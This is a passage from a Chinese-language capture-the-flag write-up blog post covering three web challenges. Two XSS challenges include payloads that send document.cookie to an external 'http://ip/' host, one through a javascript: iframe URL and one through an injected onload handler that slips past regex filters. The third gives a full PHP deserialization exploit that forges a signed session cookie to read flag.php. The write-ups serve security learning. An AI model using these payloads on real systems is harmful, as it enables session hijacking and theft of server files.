        session['substr'] = escape_replace(request.form['substr'])
        session['replacement'] = escape_replace(request.form['replacement'])
        return "replace success"
    else:
        return "There is no content to replace any more"
def escape_replace(original):
    content = original
    content = re.sub("[<>]", "", content)
    return content

替换的内容中是无法出现<>

@app.route('/preview')
def preview():
    if session.get('substr') and session.get('replacement'):
        substr = session['substr']
        replacement = session['replacement']
    else:
        substr = ""
        replacement = ""
    response = make_response(
        render_template("preview.html", substr=substr, replacement=replacement))
    return response

同时只有在/preview页面才会进行替换

一开始以为bot只是把访问发过去的内容,于是想怎么绕过正则匹配,但感觉没什么办法。后来用week2的尝试了一下,才知道bot好像是来访问我们的页面,也就是只要我们替换好了自己的页面再让其访问即可

想了一下后想到的第一条路线是,创建一个iframe引入/preview,再整另一个iframe引入/contents,最后用HTML实体编码绕过<>的过滤在创建一个<svg>。不过由于MIME设置了json不行,于是另寻其路

最后发现不需要用到/contents,直接第二个ifame中写js就行

<iframe src="/preview">
<iframe src="aabbccdd">

先这样创建两个iframe,然后在replace中将aabbccdd替换成javascript:window.location.href='http://ip/?a='+document.cookie
这样第二个iframe就修改成
<iframe src="javascript:window.location.href='http://ip/?a='+document.cookie">
这样就可以弹回cookie了

再用拿到的token放入cookie访问/flag

Post to zuckonit another version

这题比较上题就改了一点,content的正则匹配没有改变

def escape_replace(original):
    content = original
    content = re.sub(r"[<>\"\\]", "", content)
    return content

escape_replace()增加了" \的过滤

@app.route('/search', methods=["POST"])
def replace():
    if request.form.get('substr'):
        session['substr'] = escape_replace(request.form['substr'])
        return "replace success"
    else:
        return "There is no content to search any more"

raplace接口被改成了search接口
preview.html中可以看到

<script>
    $(function () {
        $.get("/contents").done(function (data) {
            let content = "{{ substr | safe }}"
            let output = document.getElementById("output")
            for (let i = 0; i < data.length; i++) {
                let div = document.createElement("div")
                let substr = new RegExp(content, 'g')
                div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
                output.appendChild(div)
            }
        })
    })
</script>

使用了正则去匹配,在查询内容的两侧加上b标签

一开始想着这也没用能修改的东西啊?思考了一会后发现,这里的content是直接放入,而不是将匹配到的内容写入,就是说我们只要这样设置substr[replace]?,substr是要匹配到的内容,replace则是要增加的内容不就可以加入我们想要的内容了
比如这里post的是x,search的是x[123]?

匹配到了x,同时也带上了[123]?

拿剩下的就简单了,由于会添加上<b>src会解析错误。于是要闭合src再用onload去执行js,由于"被过滤于是用'
于是就是先创建<iframe src='x'>
然后查询
x['onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();'']?
Search后的就替换成了(加上空格好理解一些)
<iframe src='<b class="search_result">x[' onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();' ']?</b>'>
就会执行onload中的内容

最后依旧是拿弹回的token去访问/flag

Arknights

这题是一道简单的反序列化题目,题目里提示了有git,于是用GitHack抓一下源码

获得源码后,index.php中可以看到

<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
    $cards = $simulator->draw($_POST["draw"]);
}
?>

使用了Simulator类,除此之外都是输出的东西,没什么可利用的

pool.php只是一堆数据,那主要就是simulator.php

class Simulator{

    public $session;
    public $cardsPool;

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

    public function draw($count){
        $result = array();

        for($i=0; $i<$count; $i++){
            $card = $this->cardsPool->draw();

            if($card["stars"] == 6){
                $this->session->set('', $card["No"]);
            }

            $result[] = $card;
        }

        $this->session->save();

        return $result;
    }

    public function getLegendary(){
        $six = array();

        $data = $this->session->getAll();
        foreach ($data as $item) {
            $six[] = $this->cardsPool->cards[6][$item];
        }

        return $six;
    }
}

可以看到Simulator类中构造函数获得cookie中的session键的值,并用Session类对其进行了extract()处理

于是到Session类中去看看

class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

    public function set($key, $value){
        if(empty($key)){
            $this->sessionData[] = $value;
        }else{
            $this->sessionData[$key] = $value;
        }
    }

    public function getAll(){
        return $this->sessionData;
    }


    public function save(){

        $serialized = serialize($this->sessionData);
        $sign = base64_encode(md5($serialized . self::SECRET_KEY));
        $value = base64_encode($serialized) . "." . $sign;

        setcookie("session",$value);
    }


    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}

可以看到session是以.分为两部分,前面是数据后面是签名,验证成功则反序列化

接着看看哪里有可以利用的地方

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function draw()
    {
        $rand = mt_rand(1, 100);
        $level = 0;

        if ($rand >= 1 && $rand <= 42) {
            $level = 3;
        } elseif ($rand >= 43 && $rand <= 90) {
            $level = 4;
        } elseif ($rand >= 91 && $rand <= 99) {
            $level = 5;
        } elseif ($rand == 100) {
            $level = 6;
        }

        $rand_key = array_rand($this->cards[$level]);

        return array(
            "stars" => $level,
            "No" => $rand_key,
            "card" => $this->cards[$level][$rand_key]
        );
    }

    public function init()
    {
        $this->cards = include($this->file);
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}

于是就找到了CardsPool这个类,可以看到这个类的__toString()是可以读取文件的。再去找找有什么地方有输出的,就找到了Eeeeeeevallllllll

class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}

一看就是专门给我们留的后门,echo输出msg,那只要把这个变量设置成CardsPool类,再将CardsPool类中的file设置为./flag.php即可

exp

<?php
class CardsPool{
    private $file = "./flag.php";
}
class Eeeeeeevallllllll{
    public $msg;
    public function __construct(){
        $this->msg= new CardsPool();
    }
}


$class = new Eeeeeeevallllllll();
$data = serialize($class);
$sign = md5($data . "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9");

$sign = base64_encode($sign);
$data = base64_encode($data);

$session = $data.".".$sign;
echo urlencode($session);

将生成的session放入cookie中,然后刷新查看源码即可

最后修改:2021 年 02 月 21 日 09 : 22 PM
如果觉得我的文章对你有用,请随意赞赏

2 条评论

  1. q
    该评论仅登录用户及评论双方可见
    1. k0t0r1
      @q

      周六才更

发表评论 取消回复